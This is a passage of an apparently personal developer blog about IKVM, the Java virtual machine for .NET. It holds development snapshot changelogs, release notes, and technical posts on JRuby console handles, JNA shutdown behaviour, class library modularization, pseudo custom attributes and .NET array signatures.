    cli.System.IO.FileStream fs = (cli.System.IO.FileStream)stream;
    return fs.get_Handle().ToInt64();
  } else if (this == in) {
    return GetStdHandle(-10).ToInt64();
  } else if (this == out) {
    return GetStdHandle(-11).ToInt64();
  } else if (this == err) {
    return GetStdHandle(-12).ToInt64();
  }
  return -1;
}

@DllImportAttribute.Annotation("kernel32")
private static native cli.System.IntPtr GetStdHandle(int nStdHandle);

Now when JRuby uses reflection to get the handle field, it ends up calling the get_handle method and it will get the right handle back. The nice thing about implementing this as a property it that it means the cost is virtually zero when you're not accessing it and it also delays the full trust requiring native method invocation until it is really needed, which means that partial trust code won't be affected.

This solved the first problem, the right prompt now appeared.

JNA Issue

The next problem appeared after I ran jruby.jar through ikvmc and ran the resulting jruby.exe. After exiting I would get an exception:

irb(main):001:0> exit
java.io.IOException: Cannot run program "C:\.virtual-ikvm-home/bin/java": The system cannot find the file specified
    at java.lang.ProcessBuilder.start(ProcessBuilder.java:474)
    at java.lang.Runtime.exec(Runtime.java:610)
    at java.lang.Runtime.exec(Runtime.java:483)
    at com.sun.jna.Native$DeleteNativeLibrary.run(Native.java:761)
    at java.lang.Thread.threadProc(Thread.java:2297)
    at java.lang.Thread$1.Invoke(Thread.java:797)
    at cli.System.Threading.ThreadHelper.ThreadStart_Context(Unknown Source)
    at cli.System.Threading.ExecutionContext.Run(Unknown Source)
    at cli.System.Threading.ThreadHelper.ThreadStart(Unknown Source)
Caused by: java.io.IOException: The system cannot find the file specified
    at java.lang.ProcessImpl.<init>(ProcessImpl.java:126)
    at java.lang.ProcessImpl.start(ProcessImpl.java:54)
    at java.lang.ProcessBuilder.start(ProcessBuilder.java:467)
    ... 8 more

This didn't show up when running via ikvm.exe, because I recently added support for this, but when running jruby.exe the ikvm.exe file wasn't available. I debugged this because I was curious why a new JVM was being started at exit. It turns out that JNA extracts a JNI DLL into the temp directory and wants to delete that at exit. While the DLL is loaded by the JVM, it cannot be deleted so in a shutdown hook it fires up a new JVM to delete the temporary file. This is already pretty gross (and not 100% Pure Java :-)), but not the actual issue. Digging deeper I found that this is the alternative code path, because they first attempt to unload the DLL by explicitly calling java.lang.ClassLoader$NativeLibrary.finalize() via reflection on the NativeLibrary object that corresponds to their DLL. This is, of course, exceptionally evil. Nevertheless, I have now implemented support for this in IKVM.

Conclusion

Maybe 100% Pure Java isn't as useless as I thought a decade ago :-)

3/10/2009 6:53:42 AM (W. Europe Standard Time, UTC+01:00)  #    Comments [5]

Monday, March 02, 2009

New Development Snapshot

In keeping with the recent coincidental trend of releasing a development snapshot every ten days, here's the next one. This time a got a little side tracked and decided to do some optimizations.

A cute one is that Object.getClass() is now an intrinsic in two specific scenarios. The first scenario is trivial, when it is used to do a null reference check (javac uses this pattern, both in its source and in the code it generates), the second scenario is a little more interesting:

boolean equals(Object other)
{
  if (other.getClass() != this.getClass())
    return false;
  ...
}

Is now compiled into:

boolean equals(Object other)
{
  if (Type.GetTypeHandle(other).Value != Type.GetTypeHandle(this).Value)
    return false;
  ...
}

This removes the need to create (and lookup) the System.Type and java.lang.Class objects entirely.

Changes:

  • Added wildcard exports for assemblies referenced by non-main assembly in shared class loader group.
  • Intrinsified two uses of Object.getClass().
  • Minor optimization to TypeWrapper.ClassObject.
  • Added optimization to reflective instantiation to use Activator.CreateInstance() when that is almost as fast as our LCG based implementation (which has a far higher initial cost).
  • Removed some unnecessary initializations from java.lang.Class.
  • Changed runtime calls to AccessController.doPrivileged() to explicitly pass callerID.
  • Added support for multi level stack tracking to CodeEmitter.
  • Made most Pop emitting lazy to enable optimizing them away (together with corresponding push).
  • Made loading class literal lazy, to enable optimizing them away when they aren't used (e.g. because an atomic intrinsic).
  • Made Class.desiredAssertionStatus() into an intrinsic, to be able to optimize it away when -removeassertions is used.
  • Avoid constructing AssemblyName objects when reading the export map (it turns out that constructing an AssemblyName is pretty expensive).
  • Made the export map reading lazy.

As always with a development snapshot, don't use this in production, but please do try it out and let me know about it. The sources are available in cvs and the binaries here: ikvmbin-0.39.3348.zip
 

3/2/2009 6:43:55 AM (W. Europe Standard Time, UTC+01:00)  #    Comments [0]

Friday, February 20, 2009

New Development Snapshot

Yet more changes to support -sharedclassloader and while I was at FOSDEM I tried running SPECjvm2008 so I did the fixes necessary to get that to run. Note that if you want to run SPECjvm2008, you'll have to generate rt.jar (ikvmstub -shared ikvm.openjdk.core && ren IKVM.OpenJDK.Core.jar rt.jar) and create an ikvm.exe.config file to set the boot class path to rt.jar:

<?xml version="1.0"?>
<configuration>
  <appSettings>
    <add key="ikvm:sun.boot.class.path" value="\ikvm\lib\rt.jar" />
  </appSettings>
</configuration>

Changes:

  • Implemented JPEGImageWriter.getDefaultWriteParam().
  • Added dummy implementations for java.awt.Graphics.setComposite/getComposite/getFontRenderContext.
  • Added supported for redirecting Runtime.exec("java ...") to ikvm.exe.
  • Small performance improvement to stack walking in ObjectInputStream.
  • Removed several JIT performance workarounds that are no longer needed as of .NET 2.0 SP2 (aka .NET 3.5 SP1) .
  • Added hack to ikvmstub (-shared option) to generate stubs for core class library.
  • Imported JMath (John F. Brophy's pure Java port of fdlibm) and use it for most Math functions instead of .NET Math API.
  • Made 32 bit floating point math more compatible by rounding to 32 bit after every operation. On x86 this takes a significant performance hit, but without it the differences were too large for the SPECjvm2008 sunflow benchmark to pass.
  • Set foreground/background colors for java.awt.Graphics created from Image correctly.
  • Added support for setting the JPEG compression level and for custom quantization (but not huffman) tables.
  • Moved Y correction to java.awt.Graphics2D float overload of drawString, so that it too positions the text (approx.) correctly.
  • Don't overwrite the thread context class loader if it has already been set when sun.misc.Launcher initializes. Thanks to Dawid Weiss for finding this.

As always with a development snapshot, don't use this in production, but please do try it out and let me know about it. The sources are available in cvs and the binaries here: ikvmbin-0.39.3338.zip
 

2/20/2009 6:04:20 AM (W. Europe Standard Time, UTC+01:00)  #    Comments [0]

Tuesday, February 10, 2009

New Development Snapshot

More changes to support -sharedassemblyclassloader, a couple of fixes and Volker's JDBC-ODBC bridge implementation.

Changes:

  • Moved JDBC code into IKVM.OpenJDK.Jdbc.dll.
  • Added JDBC-ODBC-Bridge (based on System.Data.Odbc) to IKVM.OpenJDK.Jdbc.dll.
  • Fixed IKVM.Reflection.Emit's AssemblyBuilder.AssemblyName to always include Version, Culture and PublicKeyToken.
  • Fixed NullReferenceException in IKVM.Reflection.Emit's SignatureHelper.WriteType.
  • Implemented TypeWrapper.GetEnclosingMethod for ReflectionOnly assemblies (this allows ikvmstub to work on ikvmc generated assemblies loaded by specifying a path).
  • Fixed pointer type check for method return types.
  • When ikvmc loads a referenced assembly that is the main assembly of a sharedclassloader group, also pre-load the other assemblies in the group.
  • More fixes to deal with the fact that the AssemblyClassLoader <-> Assembly mapping is no longer a one to one relation.
  • Changed AssemblyClassLoader to cache assembly load failures (because the CLR binder also caches failures).
  • Disable String.toCharArray() intrinsic in dynamic mode, because it relies on defining global variables which aren't available in dynamic mode.

As always with a development snapshot, don't use this in production, but please do try it out and let me know about it. The sources are available in cvs and the binaries here: ikvmbin-0.39.3328.zip

2/10/2009 8:55:25 AM (W. Europe Standard Time, UTC+01:00)  #    Comments [0]

Thursday, February 05, 2009

IKVM 0.38 Update 1 RC 1

A fairly serious (because of its potentially elusive nature) bug was found in 0.38 and I forgot to update the version number of IKVM.OpenJDK.ClassLibrary.dll in the previous release candidate, so here is a new release candidate.

Changes:

  • Changed version to 0.38.0.4.
  • Fixed bug in PassiveWeakDictionary that caused ghost arrays to lose their type after a while. Thanks to Dawid Weiss for reporting this issue.

Binaries available here: ikvmbin-0.38.0.4.zip
Sources (+ binaries): Sources: ikvm-0.38.0.4.zip, classpath-0.95-stripped.zip, openjdk6-b12-stripped.zip
 

2/5/2009 3:51:03 PM (W. Europe Standard Time, UTC+01:00)  #    Comments [2]

Monday, February 02, 2009

IKVM 0.38 Update 1 RC 0

Since there isn't yet a schedule for when 0.40 will be available, I decided to release an update of 0.38 that includes recent bug fixes.

Changes:

  • Changed version to 0.38.0.3.
  • Fixed the stack trace when an unwrapped java.lang.Error (or subclass) escapes from a static initializer.
  • It turns out that we really should create an MBeanServer in sun.management.ManagementFactory.createPlatformMBeanServer(), even if we don't populate it with anything useful, applications might still want to register their own MBeans. This fix allows Derby 10.4.2.0 to work.
  • Added helpful message to ClassCastException generated for ghost array casts.
  • Added check for constructor with missing body in map.xml.
  • Removed over eager state checking from java.util.zip.Deflater. Fixes Lucene issue.
  • Fixed enclosing method discovery to work for ReflectionOnly assemblies. This allows ikvmstub to work with ikvmc generated assemblies.
  • Always emit an explicit method override if we've mangled the name/sig, because we can't predict whether it will be needed or not (without keeping track of the mangling in the base classes) and the cost is minimal since this doesn't happen all that often.
  • Miranda method should use mangled name (if the name is mangled).
  • Fixed pointer detection to work for types with multiple indirection levels.
  • If the last call site of a subroutine wasn't reachable, the return switch would fall through potentially causing the code to be unverifiable.
  • The check for unloadable types on the stack indexed the stack in the wrong order.
  • Fixed exception wrapping for java.security.AccessController.doPrivileged().
  • Fixed tracer to only add a trace listener in executables.

Binaries available here: ikvmbin-0.38.0.3.zip
Sources (+ binaries): Sources: ikvm-0.38.0.3.zip, classpath-0.95-stripped.zip, openjdk6-b12-stripped.zip
 

2/2/2009 7:01:55 AM (W. Europe Standard Time, UTC+01:00)  #    Comments [4]

Wednesday, January 21, 2009

New Development Snapshot

Volker Berlin continues working on integrating more OpenJDK awt/image related code. He also started on a fully managed JDBC / ODBC bridge implementation (using System.Data.Odbc). I did some bug fixes and few small improvements here and there.

Changes:

  • Fixed the stack trace when an unwrapped java.lang.Error (or subclass) escapes from a static initializer.
  • It turns out that we really should create an MBeanServer in sun.management.ManagementFactory.createPlatformMBeanServer(), even if we don't populate it with anything useful, applications might still want to register their own MBeans. This fix allows Derby 10.4.2.0 to work.
  • Various java.awt.image.BufferedImage improvements.
  • Use CallerID instead of stack walking in java.util.ResourceBundle.
  • Moved java.security.AccessController.doPrivileged() implementation to Java and use CallerID to avoid stack walk.
  • JPEG support added to ImageIO.
  • Switched to using OpenJDK ColorModel code.
  • Use CallerID instead of stack walking in java.sql.DriverManager.
  • Added helpful message to ClassCastException generated for ghost array casts.
  • Convert a Java filename to a .NET filename in NetToolkit.createImage(String).
  • Added workarounds to make IKVM.Reflection.Emit work on Mono (2.2 or higher required).
  • Made ISymWrapper.dll dependency conditional in build to make IKVM.Reflection.Emit compile on Mono.

As always with a development snapshot, don't use this in production, but please do try it out and let me know about it. The sources are available in cvs and the binaries here: ikvmbin-0.39.3308.zip
 

1/21/2009 6:52:54 AM (W. Europe Standard Time, UTC+01:00)  #    Comments [0]

Monday, December 29, 2008

IKVM 0.38 Released

I've released IKVM 0.38 to SourceForge. The binaries are identical to the ones in release candidate 2.

Release Notes

This document lists the known issues and incompatibilities.

Runtime

  • Code unloading (aka class GC) is not supported.
  • In Java static initializers can deadlock, on .NET some threads can see uninitialized state in cases where deadlock would occur on the JVM.
  • JNI
    • Only supported in the default AppDomain.
    • Only the JNICALL calling convention is supported! (On Windows, HotSpot appears to also support the cdecl calling convention).
    • Cannot call string contructors on already existing string instances
    • A few limitations in Invocation API support
      • The Invocation API is only supported when running on .NET.
      • JNI_CreateJavaVM: init options "-verbose[:class|:gc|:jni]", "vfprintf", "exit" and "abort" are not implemented. The JDK 1.1 version of JavaVMInitArgs isn't supported.
      • JNI_GetDefaultJavaVMInitArgs not implemented
      • JNI_GetCreatedJavaVMs only returns the JavaVM if the VM was started through JNI or a JNI call that retrieves the JavaVM has already occurred.
      • DestroyJVM is only partially implemented (it waits until there are no more non-daemon Java threads and then returns JNI_ERR).
      • DetachCurrentThread doesn't release monitors held by the thread.
    • Native libraries are never unloaded (because code unloading is not supported).
  • The JVM allows any reference type to be passed where an interface reference is expected (and to store any reference type in an interface reference type field), on IKVM this results in an IncompatibleClassChangeError.
  • monitorenter / monitorexit cannot be used on unitialized this reference.
  • Floating point is not fully spec compliant.
  • A method returning a boolean that returns an integer other than 0 or 1 behaves differently (this also applies to byte/char/short and for method parameters).
  • Synchronized blocks are not async exception safe.
  • Ghost arrays don't throw ArrayStoreException when you store an object that doesn't implement the ghost interface.
  • Class loading is more eager than on the reference VM.
  • Interface implementation methods are never really final (interface can be reimplemented by .NET subclasses).
  • JSR-133 finalization spec change is not fully implemented. The JSR-133 changes dictate that an object should not be finalized unless the Object constructor has run successfully, but this isn't implemented.
  • When a java.lang.Error (or subclass) is thrown in (and escapes) a static initializer, the stack trace might be (partially) lost.

Static Compiler (ikvmc)

  • Some subtle differences with ikvmc compiled code for public members inherited from non-public base classes (so called "access stubs"). Because the access stub lives in a derived class, when accessing a member in a base class, the derived cctor will be run whereas java (and ikvm) only runs the base cctor.
  • Try blocks around base class ctor invocation result in unverifiable code (no known compilers produce this type of code).
  • Try/catch blocks before base class ctor invocation result in unverifiable code (this actually happens with the Eclipse compiler when you pass a class literal to the base class ctor and compile with -target 1.4).
  • Only code compiled in a single assembly fully obeys the JLS binary compatibility rules.
  • An assembly can only contain one resource with a particular name.
  • Passing incorrect command line options to ikvmc may result in an exception rather than a proper error messages.
  • Under specific circumstances ikvmc may die with an exception if you're compiling code that references missing classes. As a workaround, supply the missing classes (may be stubs).
  • Under specific circumstances ikvmc may produce unverifiable code if you're compiling code that references missing classes. As a workaround, supply the missing classes (may be stubs).

Class Library

Most class library code is based on OpenJDK 6 build 12. Below is a list of divergences and IKVM specific implementation notes.

com.sun.security.auth.module        Not implemented.
java.applet GNU Classpath implementation. Not implemented.
java.awt GNU Classpath implementation with partial System.Windows.Forms based back-end. Not supported.
java.io.Console Not implemented.
java.lang.instrument Not implemented.
java.lang.management Not implemented.
java.net No IPv6 support implemented.
java.net.ProxySelector Getting the default system proxy for a URL is not implemented.
java.text.Bidi GNU Classpath implementation. Not supported.
java.util.zip Partially based on GNU Classpath implementation.
javax.imageio.plugins.jpeg Not implemented.
javax.management Not implemented.
javax.print Not implemented.
javax.script Not implemented.
javax.smartcardio Not implemented.
javax.sound Not implemented.
javax.swing GNU Classpath implementation. Not supported.
javax.tools Not implemented.
org.ietfs.jgss Not implemented.
sun.jdbc.odbc Not implemented.
sun.net.www.content.audio Audio content handlers not implemented.
sun.net.www.content.image Image content handlers not implemented.

The entire public API is available, so "Not implemented." for javax.print, for example, means that the API is there but there is no back-end to provide the actual printing support. "Not supported." means that the code is there and probably works at least somewhat, but that I'm less likely to fix bugs reported in these areas.

Specific API notes:

  • java.lang.Thread.stop(Throwable t) doesn't support throwing arbitrary exceptions on other threads (only java.lang.ThreadDeath).
  • java.lang.Thread.holdsLock(Object o) causes a spurious notify on the object (this is allowed by the J2SE 5.0 spec).
  • java.lang.String.intern() strings are never garbage collected.
  • Weak/soft references and reference queues are inefficient and do not fully implement the required semantics.
  • java.lang.ref.SoftReference: Soft references are not guaranteed to be cleared before an OutOfMemoryError is thrown.
  • Threads started outside of Java aren't "visible" (e.g. in ThreadGroup.enumerate()) until they first call Thread.currentThread().
  • java.lang.Thread.getState() returns WAITING or TIMED_WAITING instead of BLOCKING when we're inside Object.wait() and blocking to re-acquire the monitor.
  • java.nio.channel.FileChannel.lock() shared locks are only supported on Windows NT derived operating systems.
  • java.lang.SecurityManager: Deprecated methods not implemented: classDepth(String), inClass(String), classLoaderDepth(), currentLoadedClass(), currentClassLoader(), inClassLoader()

Supported Platforms

This release has been tested on the following CLI implementations / platforms:

CLI Implementation       Architecture      Operating System
.NET 2.0 SP2 x86 Windows
.NET 2.0 SP2 x64 Windows


Partial Trust

There is experimental support for running in partial trust.
 

12/29/2008 8:46:52 AM (W. Europe Standard Time, UTC+01:00)  #    Comments [1]

Wednesday, December 24, 2008

New Development Snapshot

I've checked in all the changes required to split the class library into ten different assemblies. So here is the first snapshot that contains the split binaries.

This means that the -sharedclassloader ikvmc option has been implemented, but it isn't ready for prime time yet, for now I've only focussed on getting the core class library to build with it.

Changes:

  • Split IKVM.OpenJDK.ClassLibrary.dll into ten parts.
  • Added -sharedclassloader option to ikvmc.
  • Removed some GNU Classpath build leftovers.
  • Removed workaround for com.sun.beans.ObjectHandler.classForName2() that hopefully isn't necessary any more.
  • Made ikvmc emit a warning whenever it emits code that throws a hard error.
  • Fixed ikvmc to detect access to members in another assembly that expose non-public types from that assembly (the CLR doesn't allow this) and generate java.lang.IllegalAccessError (plus warning during compilation) instead of producing invalid code.
  • Volker Berlin checked in his first set of changes to replace java.awt.image.BufferedImage with the OpenJDK version.

As always with a development snapshot, don't use this in production, but please do try it out and let me know about it. The sources are available in cvs and the binaries here: ikvmbin-0.39.3280.zip

12/24/2008 7:14:18 AM (W. Europe Standard Time, UTC+01:00)  #    Comments [0]

Friday, December 19, 2008

Modularization Status Update

I've been doing lots of modularization work, but I'm not quite ready to check it in yet. I've now split the class library assembly into ten assemblies and I've got "shared class loader" support working (at least for the core class library scenario).

I've been positively surprised by how many scenarios can be supported while only loading IKVM.OpenJDK.Core.dll. As the graph below shows, it has more (necessarily circular) dependencies than I would like, but for a number of scenarios I've carefully tweaked the set of classes in Core to enable lazy loading the dependencies only when they are really needed.

I'm not yet ready to commit to supported "Core-only" scenarios, but here's a flavor of some things I've been able to do:

  • Running "Hello, World!" in dynamic mode
  • Serialization
  • Reflection
  • File I/O & Socket I/O (both classic and nio)

Packages included in Core:

  • java.io
  • java.lang
  • java.lang.annotation
  • java.lang.ref
  • java.lang.reflection
  • java.math
  • java.net
  • java.nio
  • java.nio.channels
  • java.nio.channels.spi
  • java.nio.charset
  • java.nio.charset.spi
  • java.security
  • java.security.cert
  • java.util
  • java.util.concurrent
  • java.util.concurrent.atomic
  • java.util.concurrent.locks
  • java.util.regex
  • javax.net

Here is the assembly dependency graph (click the image to enlarge):

Here are the current assembly file sizes:

IKVM.OpenJDK.Core.dll 3,278,848
IKVM.OpenJDK.Security.dll 2,646,016
IKVM.OpenJDK.Util.dll 1,111,040
IKVM.OpenJDK.Xml.dll 8,497,664
IKVM.OpenJDK.SwingAWT.dll 3,040,768
IKVM.OpenJDK.Charsets.dll 5,017,088
IKVM.OpenJDK.Corba.dll 2,335,232
IKVM.OpenJDK.Management.dll      1,180,160
IKVM.OpenJDK.Misc.dll 2,668,032
IKVM.OpenJDK.Text.dll 628,736
  30,403,584

It's interesting to see that the total is slightly less than the previous size of IKVM.OpenJDK.ClassLibrary.dll (30,472,704).

12/19/2008 8:49:00 AM (W. Europe Standard Time, UTC+01:00)  #    Comments [0]

Monday, December 08, 2008

Modularizing OpenJDK

Recently Mark Reinhold started blogging about modularizing the JDK. I've been getting requests to split up IKVM.OpenJDK.ClassLibrary.dll for a long time. It's good to see that the Java platform is also moving in that direction, but we needn't wait for that.

I've been working on making ikvmc support "multi target" mode for a while now. Last week I used this mode to compile the OpenJDK classes into 743 different assemblies (one per package) . I then tried to use NDepend to dig through the dependencies, but it turns out that 743 assemblies is a bit too much to handle (NDepend handled it resonably well, but the dependency graph was way too large to be useful). So I started moving some obvious stuff together. The result was this NDepend report. Still a lot of data and a lot of dependencies, but some patterns are starting to emerge.

Here's my preliminary view of how things could be split:

IKVM.OpenJDK.Core.dll 5 MB
IKVM.OpenJDK.Security.dll 3 MB
IKVM.OpenJDK.Util.dll 1 MB
IKVM.OpenJDK.Xml.dll 8 MB
IKVM.OpenJDK.SwingAWT.dll 3 MB
IKVM.OpenJDK.Charsets.dll 5 MB
IKVM.OpenJDK.Corba.dll 2 MB
IKVM.OpenJDK.Management.dll      2 MB
IKVM.OpenJDK.Misc.dll 3 MB

(The sizes are only approximate.)

I had originally hoped to make IKVM.OpenJDK.Core.dll smaller by keeping java.util, java.net and java.io out of it, but it looks like you won't be able to run anything non-trivial without requiring classes from these packages, so it makes more sense to put them into the core assembly. The IKVM.OpenJDK.Security.dll and  IKVM.OpenJDK.Util.dll assemblies contain other util and security related packages that shouldn't be needed as often.

It is possible to split packages across assemblies (e.g. java.awt.AWTPermission will be in IKVM.OpenJDK.Core.dll because java.lang.SecurityManager depends on it), but given the potential for confusion my current thinking is that it is probably best to only move individual classes into Core should it be necessary (because, realistically, you can't develop without having a reference to Core you're less likely to be confused when trying to locate the class).

To avoid confusion or expectations that are too high: I haven't yet built the runtime infrastructure to support this. So while I can compile the class library into all these parts, the runtime won't actually be able to work correctly, because it still expects all the boot class loader classes in a single assembly.

As always, feedback on the proposed split is very welcome.

NDepend

I really like NDepend's ability to show the dependencies in different ways and the interactive dependency matrix that allows you to drill down into a dependency to see exactly where it comes from. Beyond dependency analysis it also has a power SQL like query language to allows use to query dependencies and compute all the code metrics you can come up with. It also includes a number of code metrics out of the box, but those aren't really my cup of tea, so I can't comment how useful they are.

One other small but really nice thing about it is that you can run it without installing. IMO this is very nice compared with installers that do who knows what to your system (and require administrator access).

An evaluation copy can be downloaded from their website.

Full disclosure: I was given a free copy of NDepend Professional Edition.

12/8/2008 6:51:28 AM (W. Europe Standard Time, UTC+01:00)  #    Comments [0]

Monday, December 01, 2008

New Development Snapshot

More ikvmc testing revealed a couple of IKVM.Reflection.Emit bugs and also some bugs that have been lurking in ikvmc for a long time, that only show up under fairly uncommon scenarios when lots of dependencies are missing (and hence the resulting assembly has little chance of working anyway). The fixes are small and relatively low risk, but I'm not sure whether it is worthwhile to back port them to 0.36 and 0.38. Feedback on this is appreciated.

Changes:

  • Added support for SpecialNameAttribute and TypeForwardedToAttribute pseudo custom attributes to IKVM.Reflection.Emit.
  • Fixed IKVM.Reflection.Emit relocation table bug.
  • Fixed IKVM.Reflection.Emit TypeDefOrRef and HasCustomAttribute column size calculations.
  • A couple of ikvmc fixes in dealing with missing classes. This fixes #2351524.
  • Fixed regression introduced in 0.39.3240 that caused failure when reflection triggered a call to a static initializer on a dynamically loaded class.

As always with a development snapshot, don't use this in production, but please do try it out and let me know about it. The sources are available in cvs and the binaries here: ikvmbin-0.39.3257.zip

12/1/2008 7:16:54 AM (W. Europe Standard Time, UTC+01:00)  #    Comments [1]

Tuesday, November 25, 2008

Pseudo Custom Attributes

One of the really cool things about the CLR, when it was introduced, was the notion of custom attributes. Custom attributes provide an extensible way to add custom metadata. However, since .NET compilers virtually have to support custom attributes, it's tempting to reuse this capability for specifying non-custom metadata. It isn't efficient to encode all metadata in a generic way, hence the pseudo custom attributes were born. From most compilers they appear as normal custom attributes, but the compiler stores them in the metadata in a way that is specific to each pseudo custom attribute.

To recap, my definition of pseudo custom attributes is: Any custom attribute that modifies the metadata, but isn't stored in the CustomAttribute metadata table.

While implementing ikvmc (and later IKVM.Reflection.Emit) I looked for a definitive list of pseudo custom attributes, but there doesn't appear to be one, so I thought I'd make one:

 

ECMA CLI

IKVM.Reflection.Emit

System.Reflection.Emit

AssemblyAlgorithmIdAttribute

Yes*

No

No

AssemblyCultureAttribute

No

No

No

AssemblyFlagsAttribute

Yes*

No

No

AssemblyKeyFileAttribute

No

No

No

AssemblyKeyNameAttribute

No

No

No

AssemblyVersionAttribute

No

No

No

CodeAccessSecurityAttribute**

Yes

No

No

ComImportAttribute

No

Yes

Yes

DefaultParameterValueAttribute

No

Yes

No

DllImportAttribute

Yes

Yes

Yes

FieldOffsetAttribute

Yes

Yes

Yes

InAttribute

Yes

Yes

Yes

MarshalAsAttribute

Yes

Yes

Yes

MethodImplAttribute

Yes

Yes

Yes

NonSerializedAttribute

No

Yes

Yes

OptionalAttribute

No

Yes

Yes

OutAttribute

Yes

Yes

Yes

PreserveSigAttribute

No

Yes

Yes

SerializableAttribute

No***

Yes

Yes

SpecialNameAttribute

No

Yes****

Yes

StructLayoutAttribute

Yes

Yes

Yes

TypeForwardedToAttribute

No

Yes****

No

* Reserved only.
** Its subclasses.
*** Not part of the spec, but the spec does mention it.
**** Not in most recent development snapshot, but code is in cvs.

(System.Reflection.Emit values based on .NET 3.5 SP1)

For completeness and clarity, here is a list of non-pseudo custom attributes that are sometimes mistakenly referred to as pseudo custom attributes:

AllowPartiallyTrustedCallersAttribute

Understood by the runtime, but stored normally.

ClassInterfaceAttribute

Understood by the runtime and compiler, but stored normally.

ComCompatibleVersionAttribute

Understood by the runtime (?) and compiler, but stored normally.

DebuggableAttribute

Understood by the runtime, but stored normally.

GuidAttribute

Understood by the runtime and compiler, but stored normally.

InterfaceTypeAttribute

Understood by the runtime and compiler, but stored normally.

SecurityCriticalAttribute

Understood by the runtime, but stored normally.

SecurityTransparentAttribute

Understood by the runtime, but stored normally.

SecurityTreatAsSafeAttribute

Understood by the runtime, but stored normally.

TypeLibVersionAttribute

Understood by the compiler, but stored normally.

 

Clarifications, corrections and additions to both lists are very much appreciated.

Update: Removed incorrect claim that the runtime only supports the DebuggableAttribute (bool,bool) constructor. Thanks to Kevin M. Owen for the correction.

11/25/2008 7:04:36 AM (W. Europe Standard Time, UTC+01:00)  #    Comments [2]

Wednesday, November 19, 2008

Multi Target Support

I've now enabled "multi target" support. This means that you can compile multiple assemblies at once. One of the advantages this has is that it makes dealing with circular dependencies much easier, but even if there aren't any circular dependencies, it can make building much easier because you don't have to do any dependency analysis.

As an example I compiled the jars from the JBoss lib directory:

ikvmc -target:library { commons-codec.jar } { commons-httpclient.jar } { commons-logging.jar } { concurrent.jar } { getopt.jar } { jboss-common.jar } { jboss-jmx.jar } { jboss-system.jar } { jboss-xml-binding.jar } { log4j-boot.jar }

The curly braces define the targets. This is all it takes to compile these jars into seperate assemblies that automatically reference eachother, as required.

Using NDepend (which Patrick Smacchia kindly gave me a free copy of) you can easily graph the dependencies of the resulting assemblies:

In this case there aren't any cycles, but had there been, it would have made no differences.

The multi target feature is by no means done. I want to add a -sharedclassloader option to enable multiple assemblies to share a single Java class loader. I'm also considering some options to select which classes/packages go in which assembly. This would be helpful for splitting the core class library into multiple assemblies.

Changes:

  • Added support to ikvmstub for automatically exporting non-vector array types.
  • Implemented/fixed support for pointers, by ref and non-vector arrays in IKVM.Reflection.Emit.
  • Fixed pointer detection to work for types with multiple indirection levels.
  • Changed proxy stub name mangling to work around ildasm bug.
  • Fixed IKVM.Reflection.Emit to not write token of FAULT pseudo exception that is used as a marker for fault blocks.
  • Fixed class loading to take ClassLoader lock.
  • Changed ikvmc not to generate warning when it loads ikvmstub generated classes.
  • Removed our version of System.Runtime.CompilerServices.ExtensionAttribute and instead add System.Core.jar to the compilation, this will allow us to reference the real ExtensionAttribute when it is available and yet the build will still work (albeit with a warning and without the ExtensionAttribute) when it is not available (i.e. when building on .NET 2.0).
  • Did some clean up and restructuring in IKVM.Reflection.Emit.
  • Fixed sorting of InterfaceImpl table in IKVM.Reflection.Emit.
  • Removed hard coded public keys from JniInterface.cs and Configuration.java.
  • Changed build process so that version number for all assemblies only has to be specified in CommonAssemblyInfo.cs.
  • Enabled multi target support.
  • Fixed typo in IKVM.Reflection.Emit that caused assembly minor version to be set to major version.
  • Added assembly version to ikvmstub.

As always with a development snapshot, don't use this in production, but please do try it out and let me know about it. The sources are available in cvs and the binaries here: ikvmbin-0.39.3245.zip

11/19/2008 7:46:06 AM (W. Europe Standard Time, UTC+01:00)  #    Comments [1]

Monday, November 17, 2008

.NET Array Weirdness

One of the lesser known features of the .NET runtime is the support for multidimensional and/or non-zero-based arrays. The typical arrays that you use (and that are the same as the arrays in Java) are called vectors in the CLI specification, but unfortunately the non-vector arrays don't have a specific name (they are simply called arrays in the CLI specification).

In C# you can easily create a non-vector array:

int[,] arr1 = new int[4, 4]

This creates a two dimensional array of integers with 16 elements. This array is zero based. If you want to create a non-zero-based array, you have to use the API, because C# doesn't directly support that:

int[,] arr2 = (int[,])Array.CreateInstance(typeof(int), new[] { 4, 4 }, new[] { 1, 1 });

This also creates a two dimensional array of integers with 16 elements, but in this case the indexes run from 1 through 5.

So far, so good. Now let's look at how things look at the IL level. If you use ildasm to look at the first C# based instantation you'll see:

ldc.i4.1
ldc.i4.1
newobj instance void int32[0...,0...]::.ctor(int32, int32)

Most of this looks straightforward if you're familiar with IL, except for the [0...,0...] part. It looks like the lower bounds are part of the type, but a simple experiment shows that this is not the case:

Console.WriteLine(arr1.GetType() == arr2.GetType());

This prints out True. This implies that the lower bounds are not part of the type (and the CLI specification confirms this). So why are they part of the signature? I don't know for sure, but it does have an interesting consequence. You can overload methods based on this:

.assembly extern mscorlib { }
.assembly Test { }
.module Test.exe

.class public Program
{
  .method public static void Foo(int32[0...,0...] foo)
  {
    ret
  }

  .method public static void Foo(int32[1...,1...] foo)
  {
    ret
  }

  .method private static void Main()
  {
    .entrypoint
    ldc.i4.1
    ldc.i4.1
    newobj instance void int32[0...,0...]::.ctor(int32, int32)
    call void Program::Foo(int32[0...,0...])
    ret
  }
}

This is a valid and verifiable application. Unfortunately, using the  .NET reflection API it is impossible to see the difference in signatures between the two Foo methods.

This limitation in reflection means that code compiled with the new IKVM.Reflection.Emit based ikvmc won't be able to call methods that have non-zero-based array parameters. It is also impossible to override these methods, but that was already the case with the previous System.Reflection.Emit based implementation as well.

Finally, in the above text I talk about the lower bounds, but the same thing applies to the upper bounds of the array.

11/17/2008 7:08:46 AM (W. Europe Standard Time, UTC+01:00)  #    Comments [1]

Friday, November 14, 2008

Introducing IKVM.Reflection.Emit

Over the past two months I've been working on reimplementing a large portion of the Reflection.Emit API from scratch. After finally growing tired of the System.Reflection.Emit bugs and limitations and not finding Mono.Cecil satisfactory either, I decided to build my own implementation.

I started out with these design goals:

  • API compatible with System.Reflection.Emit (as much as possible).
  • Implement only the Emit part and be compatible with System.Reflection.
  • Only implement functionality required by ikvmc, but not implemented functionality shouldn't silently fail (i.e. it should throw a NotSupportedException or NotImplementedException). This also means that the API is mostly write-only.
  • Efficient implementation, optimized for ikvmc specific scenarios.

I think I've met or exceeded all of the design goals. Without doing any significant performance work on my Ref.Emit implementation (other than the design), ikvmc became so much faster that it is rather emberassing for the Microsoft System.Reflection.Emit implementation.

